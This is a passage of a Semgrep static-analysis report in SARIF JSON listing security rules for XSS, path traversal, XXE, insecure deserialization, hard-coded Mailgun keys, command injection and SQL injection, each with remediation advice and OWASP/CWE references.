within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","id":"typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","name":"typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint.file-access-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint.file-access-taint","id":"java.micronaut.path-traversal.file-access-taint.file-access-taint","name":"java.micronaut.path-traversal.file-access-taint.file-access-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint.file-access-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open)\n","text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","id":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","name":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","id":"python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","name":"python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","id":"python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","name":"python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Mailgun API Key detected"},"help":{"markdown":"Mailgun API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Mailgun API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","id":"generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","name":"generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach `$VM`."},"help":{"markdown":"Make sure that unverified user data can not reach `$VM`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-vm-injection.express-vm-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach `$VM`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-vm-injection.express-vm-injection","id":"javascript.express.security.express-vm-injection.express-vm-injection","name":"javascript.express.security.express-vm-injection.express-vm-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-vm-injection.express-vm-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use)\n - [https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess](https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","id":"python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","name":"python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`."},"help":{"markdown":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux)\n - [https://pkg.go.dev/net/http#ServeMux.Handler](https://pkg.go.dev/net/http#ServeMux.Handler)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`."},"helpUri":"https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","id":"go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","name":"go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","id":"java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","name":"java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.validator-xxe.validator-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.validator-xxe.validator-xxe","id":"kotlin.xxe.validator-xxe.validator-xxe","name":"kotlin.xxe.validator-xxe.validator-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.validator-xxe.validator-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in 